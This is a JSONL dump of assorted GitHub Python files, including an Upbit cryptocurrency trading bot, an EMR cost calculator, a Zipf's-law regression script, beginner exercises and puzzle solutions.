temp\n\nprint(f'{dp[N][Bucket_Size]:.6f}')","repo_name":"gkgg123/TIL_new","sub_path":"알고리즘/백준/23242_Histogram_version2.py","file_name":"23242_Histogram_version2.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4933587677","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2023/2/21 12:23\n# @Author : lanlin\n\nimport PIL.Image as pil_image\nimport numpy\nimport os\n\n\nif __name__ == '__main__':\n image_file = 'E:/mydata/PythonCode/datasets/CE2_07m_N/val_hr_192/N008_crop_98.tif'\n scale = 2\n output_dir = 'E:/mydata/PythonCode/SR_comparison/img_results/'\n filename = os.path.basename(image_file).split('.')[0]\n\n ori_img = pil_image.open(image_file)\n ori_bic = ori_img.resize((ori_img.width * scale, ori_img.height * scale), pil_image.BICUBIC)\n ori_bic.save(os.path.join(output_dir, '{}_ori_x{}_bicubic.png'.format(filename, scale)))\n","repo_name":"lanlinjnc/SR_GF1_CNN","sub_path":"scripts/interpotation_image.py","file_name":"interpotation_image.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38557815642","text":"#sazarojumi\n#1.uzd.\nsezona=input(\"Ievadi sezonu\")\nif sezona==\"vasara\":\n print(\"Grietiņa brauc ar riteni\")\nelse:\n print(\"Grietiņa brauc ar slēpēm\")\n#2.uzd. \ns=float(input('ievadiet pirkumu summu'))\nif s>=400 and s<=500:\n print(s*0.9)\nelif s>500:\n print(s*0.85)\nelse:\n print(s)\n \n#3.uzd.\nimport random\nLietotājs=int(input(\"Ievadi slaitli no 1 līdz 3\"))\nDators=random.randint(1,3)\nif Lietotājs==Dators:\n print(\"Lietotājs uzvarēja!\")\nelse:\n print(\"Dators uzvarēja!\")\n \n#4.uzd.\nimport random\na=random.randint(1,100)\nsk=int(input(\"ievadi skaitli no 1 līdz 100\"))\nif sk>a:\n print(\"Tu uzvarēji\")\nelif sk\n\n'''\n\nimport os\nimport argparse\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom math import log\n\nfrom sklearn import linear_model\nfrom sklearn.metrics import mean_squared_error, r2_score\n\n\nparser = argparse.ArgumentParser(description='Zipfian arguments')\nparser.add_argument('-t', '--train', required=True, metavar='FILE',\n help='input train filename')\n\n\nargs = parser.parse_args()\n\n# Returns computed freq_dict\ndef file_reader(filename):\n types = {}\n tokens = 0\n type_list = []\n with open(filename, 'r') as in_file:\n for line in enumerate(in_file):\n row = line[1].strip().split()\n if len(row) > 0 and row[0] != \"#\":\n type_list.append(row[1])\n if row[1] in types:\n types[row[1]]+=1\n else:\n types[row[1]] = 1\n\n freq_dict = sorted(types.items(), key=lambda kv: kv[1], reverse=True)\n\n return freq_dict\n\n\n# Returns frequency list\ndef get_freq(dictionary):\n ret_list = []\n for each in dictionary:\n ret_list.append(each[1])\n\n return ret_list\n\n\n# Returns frequency and rank of words\ndef calculate_freq(filename):\n freq_dict = file_reader(filename)\n freq_list = get_freq(freq_dict)\n\n return (freq_list, np.arange(1, len(freq_list)+1))\n\n\n# Computes linear regression\ndef regression():\n freq, rank = calculate_freq(args.train)\n y = np.asarray([log(z,10) for z in freq])\n x = np.asarray([log(i,10) for i in rank])\n x = x.reshape(-1, 1) # Single feature used so reshaping\n\n regr = linear_model.LinearRegression()\n regr.fit(x, y)\n y_pred = regr.predict(x)\n\n mse = mean_squared_error(y, y_pred)\n var = r2_score(y, y_pred)\n\n return (x, y, y_pred, mse, var)\n\n \n# Plots the scatter plot and linear regression line\ndef plot():\n x, y, y_pred, mse, var = regression()\n print(\"Mean Squared Error: \", mse)\n print(\"Variance score: \", var)\n\n plt.scatter(x, y, color='black', s=1)\n plt.plot(x, y_pred, color='blue', linewidth=1)\n plt.ylabel('log10freq')\n plt.xlabel('log10rank')\n plt.show()\n\n\n\ndef main():\n plot()\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"oya163/nlp-assignments","sub_path":"zipfian.py","file_name":"zipfian.py","file_ext":"py","file_size_in_byte":2479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39991238555","text":"# pylint: disable=C0103\n\n\"\"\"\nContains helpful functions used in various operations.\n\"\"\"\nfrom collections.abc import Iterable\n\n\n\ndef find_obs_contr(S, Euc=set(), Euo=set(), E=set()):\n \"\"\"\n For set of graphs S, find Euc and Euo if not provided.\n This way, checks for Euc, Euo as empty sets are done\n here, rather than at the place this function gets called\n (slight convenience).\n \"\"\"\n if not isinstance(S, Iterable):\n S = [S]\n\n if not Euc:\n find_Euc(S, Euc)\n if not Euo:\n find_Euo(S, Euo)\n if not E:\n find_E(S, E)\n\n return (Euc, Euo, E)\n\n\ndef find_Euc(S, Euc):\n \"\"\"\n Check set of graphs S to find uncontrollable events.\n \"\"\"\n if not S:\n return set()\n if Euc:\n return\n try:\n for graph in S:\n if \"contr\" not in graph.es.attributes():\n continue\n G_uc = [trans[\"label\"] for trans in graph.es if not trans[\"contr\"]]\n Euc.update(G_uc)\n except TypeError:\n if \"contr\" not in S.es.attributes():\n return\n G_uc = [trans[\"label\"] for trans in S.es if not trans[\"contr\"]]\n Euc.update(G_uc)\n\n\ndef find_Euo(S, Euo):\n \"\"\"\n Check set of graphs S to find unobservable events.\n \"\"\"\n if not S:\n return set()\n if Euo:\n return\n try:\n for graph in S:\n if \"obs\" not in graph.es.attributes():\n continue\n G_uo = [trans[\"label\"] for trans in graph.es if not trans[\"obs\"]]\n Euo.update(G_uo)\n except TypeError:\n if \"obs\" not in S.es.attributes():\n return\n G_uo = [trans[\"label\"] for trans in S.es if not trans[\"obs\"]]\n Euo.update(G_uo)\n\n\ndef find_E(S, E):\n \"\"\"\n Check set of graphs S to find all events.\n \"\"\"\n if not S:\n return set()\n if E:\n return\n for graph in S:\n events = [trans[\"label\"] for trans in graph.es]\n E.update(events)\n\n\ndef write_transition_attributes(G, Euc=set(), Euo=set()):\n \"\"\"\n Given a graph G, and set of events Euc, Euo:\n Write obs/contr attributes to transitions of G\n Only writes Euc/Euo if provided (can optionally not be provided)\n \"\"\"\n contr_list = list()\n obs_list = list()\n for edge in G.es:\n if Euc:\n if edge[\"label\"] in Euc:\n contr_list.append(False)\n else:\n contr_list.append(True)\n if Euo:\n if edge[\"label\"] in Euo:\n obs_list.append(False)\n else:\n obs_list.append(True)\n if Euc:\n G.es[\"contr\"] = contr_list\n if Euo:\n G.es[\"obs\"] = obs_list\n\n","repo_name":"romulo-goes/tolerancetool","sub_path":"lib/DESops/basic_operations/generic_functions.py","file_name":"generic_functions.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8663649196","text":"\"\"\" Module for basic utilties with holy grail\n\"\"\"\nfrom __future__ import (print_function, absolute_import, division, unicode_literals)\n\nimport numpy as np\n\n\ndef arc_lines_from_spec(spec, min_ampl=300.):\n \"\"\"\n Parameters\n ----------\n spec\n siglev\n min_ampl\n\n Returns\n -------\n\n \"\"\"\n\n # imports\n from arclines.pypit_utils import find_peaks\n # Find peaks\n tampl, tcent, twid, w, yprep = find_peaks(spec)\n all_tcent = tcent[w]\n all_tampl = tampl[w]\n\n # Cut on Amplitude\n cut_amp = all_tampl > min_ampl\n cut_tcent = all_tcent[cut_amp]\n icut = np.where(cut_amp)[0]\n\n # Return\n return all_tcent, cut_tcent, icut\n","repo_name":"pypeit/arclines","sub_path":"arclines/holy/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"11662724814","text":"import time\nimport logging\nimport pyupbit\nimport pandas as pd\nfrom PyQt5 import QtCore\nfrom PyQt5.QtCore import QThread\nfrom pyupbit import WebSocketManager\nfrom setting import *\nfrom static import now, timedelta_sec, strf_time, telegram_msg\n\n\nclass Worker(QThread):\n data0 = QtCore.pyqtSignal(list)\n data1 = QtCore.pyqtSignal(list)\n data2 = QtCore.pyqtSignal(list)\n\n def __init__(self, queryQ):\n super().__init__()\n self.log = logging.getLogger('Worker')\n self.log.setLevel(logging.INFO)\n filehandler = logging.FileHandler(filename=f\"{system_path}/log/{strf_time('%Y%m%d')}.txt\", encoding='utf-8')\n self.log.addHandler(filehandler)\n self.queryQ = queryQ\n\n self.upbit = None # 매도수 주문 및 체결 확인용\n self.tickers = None # 관심종목 티커 리스트\n self.buy_uuid = None # 매수 주문용\n self.sell_uuid = None # 매도 주문용\n self.str_today = None # 당일 날짜\n self.df_cj = pd.DataFrame(columns=columns_cj) # 체결목록\n self.df_jg = pd.DataFrame(columns=columns_jg) # 잔고목록\n self.df_tj = pd.DataFrame(columns=columns_tj) # 잔고평가\n self.df_td = pd.DataFrame(columns=columns_td) # 거래목록\n self.df_tt = pd.DataFrame(columns=columns_tt) # 실현손익\n self.dict_gj = {} # 관심종목 key: ticker, value: list\n self.dict_intg = {\n '예수금': 0,\n '종목당투자금': 0, # 종목당 투자금은 int(예수금 / 최대매수종목수)로 계산\n '전일등락율': 9,\n '최대매수종목수': 5,\n '업비트수수료': 0. # 0.5% 일경우 0.005로 입력\n }\n self.dict_bool = {\n '모의모드': True # 모의모드 False 상태시만 주문 전송\n }\n self.dict_time = {\n '체결확인': now(),\n '관심종목': now(),\n '거래정보': now(),\n '부가정보': now()\n }\n\n def run(self):\n self.GetKey()\n self.GetBalances()\n self.GetVolatility()\n self.Loop()\n\n def GetKey(self):\n \"\"\" user.txt 파일에서 업비트 access 키와 secret 키를 읽어 self.upbit 객체 생성 \"\"\"\n f = open('user.txt')\n lines = f.readlines()\n access_key = lines[0].strip()\n secret_key = lines[1].strip()\n f.close()\n self.upbit = pyupbit.Upbit(access_key, secret_key)\n\n def GetBalances(self):\n \"\"\" 예수금 조회 및 종목당투자금 계산 \"\"\"\n if self.dict_bool['모의모드']:\n self.dict_intg['예수금'] = 100000000\n else:\n self.dict_intg['예수금'] = int(float(self.upbit.get_balances()[0]['balance']))\n self.dict_intg['종목당투자금'] = int(self.dict_intg['예수금'] / self.dict_intg['최대매수종목수'])\n\n def GetVolatility(self):\n \"\"\"\n 전체 티커의 일봉을 조회하여 시가 및 변동성 계산, 날짜 변경 시 마다 실행된다.\n 전날 등락율 조건을 만족한 종목과 잔고목록 종목만 관심종목으로 등록된다.\n \"\"\"\n tickers = pyupbit.get_tickers(fiat=\"KRW\")\n count = len(tickers)\n for i, ticker in enumerate(tickers):\n time.sleep(0.2)\n df = pyupbit.get_ohlcv(ticker)\n if df['close'][-2] >= df['close'][-3] * (1 + self.dict_intg['전일등락율'] / 100) or \\\n ticker in self.df_jg.index:\n c2, c1, c = df['close'][-3:]\n o2, o1, o = df['open'][-3:]\n h2, h1, h = df['high'][-3:]\n l2, l1, low = df['low'][-3:]\n v = int(df['volume'][-1])\n k = round((abs(c2 - o2) / (h2 - l2) + abs(c1 - o1) / (h1 - l1)) / 2, 2)\n k = round((h1 - l1) * k, 2)\n self.dict_gj[ticker] = [c, o, h, low, v, k]\n if i == count - 1:\n d = str(df.index[-1])\n d = d[:4] + d[5:7] + d[8:10]\n self.str_today = d\n self.log.info(f'[{now()}] 일봉 데이터 다운로드 중 ... {i + 1}/{count}')\n self.data2.emit([0, f'일봉 데이터 다운로드 중 ... {i + 1}/{count}'])\n self.tickers = list(self.dict_gj.keys())\n\n def Loop(self):\n webq = WebSocketManager('ticker', self.tickers)\n while True:\n data = webq.get()\n ticker = data['code']\n c = data['trade_price']\n o = data['opening_price']\n h = data['high_price']\n low = data['low_price']\n v = int(data['acc_trade_volume'])\n d = data['trade_date']\n t = data['trade_time']\n prec = self.dict_gj[ticker][0]\n k = self.dict_gj[ticker][-1]\n\n if d != self.str_today:\n \"\"\"\n 날짜 변경시 실시간 데이터 수신용 웹소켓큐 제거\n 변동성 재계산\n 웹소켓큐 재생성\n 전일실현손익 저장\n 체결목록, 거래목록, 실현손익 초기화\n \"\"\"\n webq.terminate()\n self.GetVolatility()\n webq = WebSocketManager('ticker', self.tickers)\n self.queryQ.put([self.df_tt, 'totaltradelist', 'append'])\n self.df_cj = pd.DataFrame(columns=columns_cj)\n self.df_td = pd.DataFrame(columns=columns_td)\n self.df_tt = pd.DataFrame(columns=columns_tt)\n telegram_msg('관심종목 및 거래정보를 업데이트하였습니다.')\n elif prec != c:\n \"\"\"\n 현재가가 직전 현재가와 다를 경우만 전략 연산 실행\n 매도수 로직이 유사한 형태이므로 매수 시에는 당일 거래목록에 없어야하며\n 매도 시에는 당일 체결목록에 없어야한다.\n 당일 매수한 종목을 매도하지 아니하고 당일 매도한 종목을 매수하지 않기 위함이다.\n \"\"\"\n self.dict_gj[ticker][:5] = c, o, h, low, v\n if c >= o + k > prec and self.buy_uuid is None and \\\n ticker not in self.df_jg.index and ticker not in self.df_td.index:\n self.Buy(ticker, c, d, t)\n if c <= o - k < prec and self.sell_uuid is None and \\\n ticker in self.df_jg.index and ticker not in list(self.df_cj['종목명'].values):\n self.Sell(ticker, c, d, t)\n\n \"\"\"\n 체결확인, 거래정보, 관심종목 정보는 1초마다 확인 및 갱신되며\n 프로세스 정보가 담긴 부가정보는 2초마다 갱신된다.\n \"\"\"\n if not self.dict_bool['모의모드'] and now() > self.dict_time['체결확인']:\n self.CheckChegeol(ticker, d, t)\n self.dict_time['체결확인'] = timedelta_sec(1)\n if now() > self.dict_time['거래정보']:\n self.UpdateTotaljango()\n self.dict_time['거래정보'] = timedelta_sec(1)\n if now() > self.dict_time['관심종목']:\n self.data1.emit([ui_num['관심종목'], self.dict_gj])\n self.dict_time['관심종목'] = timedelta_sec(1)\n if now() > self.dict_time['부가정보']:\n self.data2.emit([1, '부가정보업데이트'])\n self.dict_time['부가정보'] = timedelta_sec(2)\n\n \"\"\"\n 모의모드 시 실제 매도수 주문을 전송하지 않고 바로 체결목록, 잔고목록 등을 갱신한다.\n 실매매 시 매도수 아이디 및 티커명을 매도, 매수 구분하여 변수에 저장하고\n 해당 변수값이 None이 아닐 경우 get_order 함수로 체결확인을 1초마다 반복실행한다.\n 체결이 완료되면 관련목록을 갱신하고 DB에 기록되며 변수값이 다시 None으로 변경된다. \n \"\"\"\n\n def Buy(self, ticker, c, d, t):\n oc = int(self.dict_intg['종목당투자금'] / c)\n if oc == 0:\n return\n\n if self.dict_bool['모의모드']:\n self.UpdateBuy(ticker, c, oc, d, t)\n else:\n ret = self.upbit.buy_market_order(ticker, self.dict_intg['종목당투자금'])\n self.buy_uuid = [ticker, ret[0]['uuid']]\n self.dict_time['체결확인'] = timedelta_sec(1)\n\n def Sell(self, ticker, cc, d, t):\n oc = self.df_jg['보유수량'][ticker]\n if self.dict_bool['모의모드']:\n self.UpdateSell(ticker, cc, oc, d, t)\n else:\n ret = self.upbit.sell_market_order(ticker, oc)\n self.sell_uuid = [ticker, ret[0]['uuid']]\n self.dict_time['체결확인'] = timedelta_sec(1)\n\n def CheckChegeol(self, ticker, d, t):\n if self.buy_uuid is not None and ticker == self.buy_uuid[0]:\n ret = self.upbit.get_order(self.buy_uuid[1])\n if ret is not None and ret['state'] == 'done':\n cp = ret['price']\n cc = ret['executed_volume']\n self.UpdateBuy(ticker, cp, cc, d, t)\n self.buy_uuid = None\n if self.sell_uuid is not None and ticker == self.sell_uuid[0]:\n ret = self.upbit.get_order(self.sell_uuid[1])\n if ret is not None and ret['state'] == 'done':\n cp = ret['price']\n cc = ret['executed_volume']\n self.UpdateSell(ticker, cp, cc, d, t)\n self.sell_uuid = None\n\n def UpdateBuy(self, ticker, cc, oc, d, t):\n bg = oc * cc\n pg, sg, sp = self.GetPgSgSp(bg, oc * cc)\n self.dict_intg['예수금'] -= bg\n self.df_jg.at[ticker] = ticker, cc, cc, sp, sg, bg, pg, oc\n self.df_cj.at[d + t] = ticker, '매수', oc, 0, cc, cc, d + t\n\n self.data0.emit([ui_num['체결목록'], self.df_cj])\n self.log.info(f'[{now()}] 매매 시스템 체결 알림 - {ticker} {oc}코인 매수')\n self.data2.emit([0, f'매매 시스템 체결 알림 - {ticker} {oc}코인 매수'])\n telegram_msg(f'매수 알림 - {ticker} {cc} {oc}')\n\n df = pd.DataFrame([[ticker, '매수', oc, 0, cc, cc, d + t]], columns=columns_cj, index=[d + t])\n self.queryQ.put([df, 'chegeollist', 'append'])\n self.queryQ.put([self.df_jg, 'jangolist', 'replace'])\n\n def UpdateSell(self, ticker, cc, oc, d, t):\n bp = self.df_jg['매입가'][ticker]\n bg = bp * cc\n pg, sg, sp = self.GetPgSgSp(bg, oc * cc)\n self.dict_intg['예수금'] += bg + sg\n self.df_jg.drop(index=ticker, inplace=True)\n self.df_cj.at[d + t] = ticker, '매도', oc, 0, cc, cc, d + t\n self.df_td.at[d + t] = ticker, bg, pg, oc, sp, sg, d + t\n tsg = self.df_td['매도금액'].sum()\n tbg = self.df_td['매수금액'].sum()\n tsig = self.df_td[self.df_td['수익금'] > 0]['수익금'].sum()\n tssg = self.df_td[self.df_td['수익금'] < 0]['수익금'].sum()\n sg = self.df_td['수익금'].sum()\n sp = round(sg / tbg * 100, 2)\n tdct = len(self.df_td)\n self.df_tt = pd.DataFrame([[tdct, tbg, tsg, tsig, tssg, sp, sg]], columns=columns_tt, index=[d])\n\n self.data0.emit([ui_num['체결목록'], self.df_cj])\n self.data0.emit([ui_num['거래목록'], self.df_td])\n self.data0.emit([ui_num['거래합계'], self.df_tt])\n self.log.info(f'[{now()}] 매매 시스템 체결 알림 - {ticker} {bp}코인 매도')\n self.data2.emit([0, f'매매 시스템 체결 알림 - {ticker} {bp}코인 매도'])\n telegram_msg(f'매도 알림 - {ticker} {cc} {bp}')\n telegram_msg(f'손익 알림 - 총매수금액 {tbg}, 총매도금액{tsg}, 수익 {tsig}, 손실 {tssg}, 수익급합계 {sg}')\n\n df = pd.DataFrame([[ticker, '매도', oc, 0, cc, cc, d + t]], columns=columns_cj, index=[d + t])\n self.queryQ.put([df, 'chegeollist', 'append'])\n df = pd.DataFrame([[ticker, bp, cc, oc, sp, sg, d + t]], columns=columns_td, index=[d + t])\n self.queryQ.put([df, 'tradelist', 'append'])\n\n # noinspection PyMethodMayBeStatic\n def GetPgSgSp(self, bg, cg):\n sfee = cg * self.dict_intg['업비트수수료']\n bfee = bg * self.dict_intg['업비트수수료']\n pg = int(cg - sfee - bfee)\n sg = pg - bg\n sp = round(sg / bg * 100, 2)\n return pg, sg, sp\n\n def UpdateTotaljango(self):\n if len(self.df_jg) > 0:\n tsg = self.df_jg['평가손익'].sum()\n tbg = self.df_jg['매입금액'].sum()\n tpg = self.df_jg['평가금액'].sum()\n bct = len(self.df_jg)\n tsp = round(tsg / tbg * 100, 2)\n ttg = self.dict_intg['예수금'] + tpg\n self.df_tj.at[self.str_today] = ttg, self.dict_intg['예수금'], bct, tsp, tsg, tbg, tpg\n else:\n self.df_tj.at[self.str_today] = self.dict_intg['예수금'], self.dict_intg['예수금'], 0, 0.0, 0, 0, 0\n self.data0.emit([ui_num['잔고목록'], self.df_jg])\n self.data0.emit([ui_num['잔고평가'], self.df_tj])\n","repo_name":"rushyoung-work/MyCoin","sub_path":"trader/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":13470,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"4652522942","text":"T = int(input())\nfor test_case in range(1, T+1):\n word = input()\n vowel = ['a', 'e', 'i', 'o', 'u']\n res = ''\n for i in range(len(word)):\n if word[i] not in vowel:\n res += word[i]\n print(f'#{test_case} {res}')\n ","repo_name":"Amyhds/codingtest","sub_path":"SWEA/D3/4406. 모음이 보이지 않는 사람/모음이 보이지 않는 사람.py","file_name":"모음이 보이지 않는 사람.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3916129997","text":"def analyzeInput(fileName):\n inputArray= []\n with open(fileName) as inputfile:\n for line in inputfile:\n inputArray.append(line.strip().split(\" \"))\n return inputArray\n\nprogram= analyzeInput('input')\n# program= analyzeInput('exampleInput')\n\naccumulator= 0\nrowNbr= 0\n\ndef runProgram(tmpProgram, visitedRows):\n global accumulator, rowNbr\n if rowNbr not in visitedRows:\n visitedRows.append(rowNbr)\n # print(tmpProgram[rowNbr])\n if tmpProgram[rowNbr][0] == 'acc':\n accumulator+= int(tmpProgram[rowNbr][1])\n rowNbr+= 1\n elif tmpProgram[rowNbr][0] == 'nop':\n rowNbr+= 1\n elif tmpProgram[rowNbr][0] == 'jmp':\n rowNbr+= int(tmpProgram[rowNbr][1])\n # print(rowNbr)\n if rowNbr > 0 and rowNbr < len(tmpProgram):\n runProgram(tmpProgram, visitedRows)\n return rowNbr\n return None\n\nlineNbr= 0\nfor instr in program:\n if instr[0] != 'acc':\n accumulator= 0\n rowNbr= 0\n tmpProgram= program.copy()\n if instr[0] == 'nop':\n tmpProgram[lineNbr]= ['jmp',instr[1]]\n elif instr[0] == 'jmp':\n tmpProgram[lineNbr]= ['nop',instr[1]]\n # print(tmpProgram)\n exitRowNbr= runProgram(tmpProgram,[])\n if exitRowNbr and exitRowNbr == len(tmpProgram):\n print(\"prog length: {}\".format(len(tmpProgram)))\n print(\"rowNbr: {}\".format(rowNbr))\n print(accumulator)\n lineNbr+=1\n","repo_name":"Sploff/adventOfCode","sub_path":"2020/8/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70536269586","text":"import json\nimport time\nimport random\nimport sys\nimport os\nfrom datetime import datetime\n\nimport requests\nimport boto3\nfrom botocore.exceptions import ClientError\n\n\n__version__ = '0.1.0'\n\nemr = boto3.client('emr')\n\n\ndef backoff(n):\n return (2 ** n) + (random.randint(0, 1000) / 1000)\n\n\n\ndef list_clusters(\n CreatedAfter: datetime = None,\n CreatedBefore: datetime = None,\n ClusterStates: list = ['TERMINATED'],\n):\n if not CreatedAfter and not CreatedBefore:\n CreatedAfter = datetime.today().replace(day=1, hour=0, minute=0, second=0, microsecond=0)\n\n kwargs = {'CreatedAfter': CreatedAfter, 'ClusterStates': ClusterStates}\n if CreatedBefore:\n kwargs['CreatedBefore'] = CreatedBefore\n\n clusters = []\n pages = emr.get_paginator('list_clusters').paginate(**kwargs)\n for page in pages:\n for item in page['Clusters']:\n clusters.append(item['Id'])\n\n return clusters\n\n\n# TODO: pagination support?\ndef _list_groups(ClusterId: str, retry: int = 0):\n try:\n r = emr.list_instance_groups(ClusterId=ClusterId)\n return r.get('InstanceGroups', [])\n except ClientError as e:\n if e.response['Error']['Code'] == 'ThrottlingException' and retry <= 4:\n time.sleep(backoff(retry))\n return _list_groups(ClusterId, retry=retry + 1)\n raise\n\n# TODO: pagination support?\ndef _list_fleets(ClusterId: str, retry: int = 0):\n try:\n r = emr.list_instance_fleets(ClusterId=ClusterId)\n return r.get('InstanceFleets', [])\n except ClientError as e:\n if e.response['Error']['Code'] == 'ThrottlingException' and retry <= 4:\n time.sleep(backoff(retry))\n return _list_fleets(ClusterId, retry=retry + 1)\n raise\n\n\n# TODO: pagination support?\ndef _list_instances(retry: int = 0, **kwargs):\n try:\n r = emr.list_instances(**kwargs)\n return r.get('Instances')\n except ClientError as e:\n if e.response['Error']['Code'] == 'ThrottlingException' and retry <= 4:\n time.sleep(backoff(retry))\n return _list_instances(retry=retry + 1, **kwargs)\n raise\n\n\ndef get_instances(ClusterId: str):\n cluster = emr.describe_cluster(ClusterId=ClusterId)\n if cluster.get('ResponseMetadata', {}).get('HTTPStatusCode') != 200:\n raise Exception(f'Unable to describe EMR cluster {ClusterId}')\n\n cluster = cluster.get('Cluster', {})\n Name = cluster.get('Name')\n coll_type = cluster.get('InstanceCollectionType')\n instances = []\n # TODO: revise this mess\n if coll_type == 'INSTANCE_GROUP':\n for g in _list_groups(ClusterId):\n for i in _list_instances(ClusterId=ClusterId, InstanceGroupId=g['Id']):\n instances.append({\n 'ClusterId': ClusterId,\n 'Name': Name,\n 'InstanceGroupType': g['InstanceGroupType'],\n 'EbsBlockDevices': g['EbsBlockDevices'],\n 'CreationDateTime': i['Status']['Timeline']['CreationDateTime'],\n 'EndDateTime': i['Status']['Timeline']['EndDateTime'],\n 'InstanceType': i['InstanceType'],\n 'Market': i['Market'],\n })\n elif coll_type == 'INSTANCE_FLEET':\n for f in _list_fleets(ClusterId):\n for i in _list_instances(ClusterId=ClusterId, InstanceFleetId=f['Id']):\n instances.append({\n 'ClusterId': ClusterId,\n 'Name': Name,\n 'InstanceGroupType': f['InstanceFleetType'],\n 'EbsBlockDevices': f['InstanceTypeSpecifications'][0]['EbsBlockDevices'],\n 'CreationDateTime': i['Status']['Timeline']['CreationDateTime'],\n 'EndDateTime': i['Status']['Timeline']['EndDateTime'],\n 'InstanceType': i['InstanceType'],\n 'Market': i['Market'],\n })\n else:\n raise Exception(f'Unable to get collection type of cluster {ClusterId}\\n{json.dumps(cluster, indent=2, default=str)}')\n\n return instances\n\n\n# TODO: spot instance pricing support (right now all based on ON_DEMAND)\ndef calculate_cost(instance: dict, price_meta):\n hours = ((instance['EndDateTime'] - instance['CreationDateTime']).total_seconds() / 3600)\n # EC2 cost\n ec2 = price_meta.ec2_hourly(instance['InstanceType']) * hours\n # EMR cost\n emr = price_meta.emr_hourly(instance['InstanceType']) * hours\n # EBS cost\n gbs = 0\n for device in instance['EbsBlockDevices']:\n gbs += device['VolumeSpecification']['SizeInGB']\n ebs = gbs * 0.1 * hours / (24 * 30)\n\n return {\n **instance,\n 'EbsBlockDevices': gbs, # override list of devices to sum of GBs\n 'cost_ec2': ec2,\n 'cost_emr': emr,\n 'cost_ebs': ebs,\n }\n\n\n# adapted from https://github.com/mauropelucchi/aws-emr-cost-calculator\n# add caching of index and regional cost meta JSON from AWS\nclass EMRPriceMeta:\n BASE_URL = 'https://pricing.us-east-1.amazonaws.com'\n CACHE_DIR = os.path.expanduser('~/.emr-cost')\n\n def _get_index(self):\n cache = f'{self.CACHE_DIR}/index.json'\n try:\n with open(cache) as f:\n self._index = json.load(f)\n self._index['offers'] # weak-test on validity of the cache file\n except:\n self._index = requests.get(f'{self.BASE_URL}/offers/v1.0/aws/index.json').json()\n with open(cache, 'w') as f:\n json.dump(self._index, f, default=str)\n\n def _get_regional_emr(self):\n cache = f'{self.CACHE_DIR}/{self._region}_emr.json'\n try:\n with open(cache) as f:\n self._emr_pricing = json.load(f)\n self._emr_pricing['products'] # weak-test on validity of the cache file\n except:\n region = requests.get(self.BASE_URL + self._index['offers']['ElasticMapReduce']['currentRegionIndexUrl']).json()\n regional_emr = self.BASE_URL + region['regions'][self._region]['currentVersionUrl']\n self._emr_pricing = requests.get(regional_emr).json()\n with open(cache, 'w') as f:\n json.dump(self._emr_pricing, f, default=str)\n\n def _get_regional_ec2(self):\n cache = f'{self.CACHE_DIR}/{self._region}_ec2.json'\n try:\n with open(cache) as f:\n self._ec2_pricing = json.load(f)\n self._ec2_pricing['products'] # weak-test on validity of the cache file\n except:\n region = requests.get( self.BASE_URL + self._index['offers']['AmazonEC2']['currentRegionIndexUrl']).json()\n regional_ec2 = self.BASE_URL + region['regions'][self._region]['currentVersionUrl']\n self._ec2_pricing = requests.get(regional_ec2).json()\n with open(cache, 'w') as f:\n json.dump(self._ec2_pricing, f, default=str)\n\n\n def __init__(self, region: str = None):\n os.makedirs(self.CACHE_DIR, exist_ok=True)\n\n if region is None:\n my_session = boto3.session.Session()\n region = my_session.region_name\n\n self._region = region\n self._get_index()\n self._get_regional_emr()\n self._get_regional_ec2()\n\n sku_to_instance_type = {}\n for sku in self._emr_pricing['products']:\n if (('softwareType' in self._emr_pricing['products'][sku]['attributes'].keys()) and\n (self._emr_pricing['products'][sku]['attributes']['softwareType'] == 'EMR')):\n sku_to_instance_type[sku] = self._emr_pricing['products'][sku]['attributes']['instanceType']\n\n self.emr_prices = {}\n for sku in sku_to_instance_type.keys():\n instance_type = sku_to_instance_type.get(sku)\n sku_info = self._emr_pricing['terms']['OnDemand'][sku]\n if len(sku_info) > 1:\n print('[ERROR] More than one SKU for {}'.format(sku_info), file=sys.stderr)\n sys.exit(1)\n _, sku_info_value = sku_info.popitem()\n price_dimensions = sku_info_value['priceDimensions']\n if len(sku_info) > 1:\n print('[ERROR] More than m dimension for {}'.format(price_dimensions), file=sys.stderr)\n sys.exit(1)\n _, price_dimensions_value = price_dimensions.popitem()\n price = float(price_dimensions_value['pricePerUnit']['USD'])\n self.emr_prices[instance_type] = price\n\n ec2_sku_to_instance_type = {}\n for sku in self._ec2_pricing['products']:\n try:\n attr = self._ec2_pricing['products'][sku]['attributes']\n if attr['tenancy'] == 'Shared' and attr['operatingSystem'] == 'Linux' and attr['operation'] == 'RunInstances' and attr['capacitystatus'] == 'Used':\n ec2_sku_to_instance_type[sku] = attr['instanceType']\n except KeyError:\n pass\n\n self.ec2_prices = {}\n for sku in ec2_sku_to_instance_type.keys():\n instance_type = ec2_sku_to_instance_type.get(sku)\n sku_info = self._ec2_pricing['terms']['OnDemand'][sku]\n if len(sku_info) > 1:\n print('[ERROR] More than one SKU for {}'.format(sku_info), file=sys.stderr)\n sys.exit(1)\n _, sku_info_value = sku_info.popitem()\n price_dimensions = sku_info_value['priceDimensions']\n if len(sku_info) > 1:\n print('[ERROR] More than price dimension for {}'.format(price_dimensions), file=sys.stderr)\n sys.exit(1)\n _, price_dimensions_value = price_dimensions.popitem()\n price = 